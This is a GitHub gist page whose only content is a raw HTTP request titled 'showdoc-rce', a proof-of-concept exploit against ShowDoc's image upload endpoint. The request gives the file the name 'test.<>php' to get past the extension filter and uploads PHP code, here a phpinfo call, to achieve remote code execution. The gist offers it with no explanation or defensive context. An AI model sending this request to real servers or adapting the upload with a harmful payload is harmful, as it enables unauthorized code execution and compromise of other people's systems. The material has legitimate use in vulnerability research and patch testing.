Skip to content

Instantly share code, notes, and snippets.

@pikpikcu
Created April 21, 2021 07:33
Show Gist options
  • Save pikpikcu/7fc3da3ae304de2f17546ba9efc597f4 to your computer and use it in GitHub Desktop.
Save pikpikcu/7fc3da3ae304de2f17546ba9efc597f4 to your computer and use it in GitHub Desktop.

Revisions

  1. pikpikcu created this gist Apr 21, 2021.
    15 changes: 15 additions & 0 deletions showdoc-rce.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,15 @@
    ```
    POST /index.php?s=/home/page/uploadImg HTTP/1.1
    Host:
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
    Content-Length: 239
    Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
    Accept-Encoding: gzip
    ----------------------------835846770881083140190633
    Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
    Content-Type: text/plain
    <?php phpinfo();?>
    ----------------------------835846770881083140190633--
    ```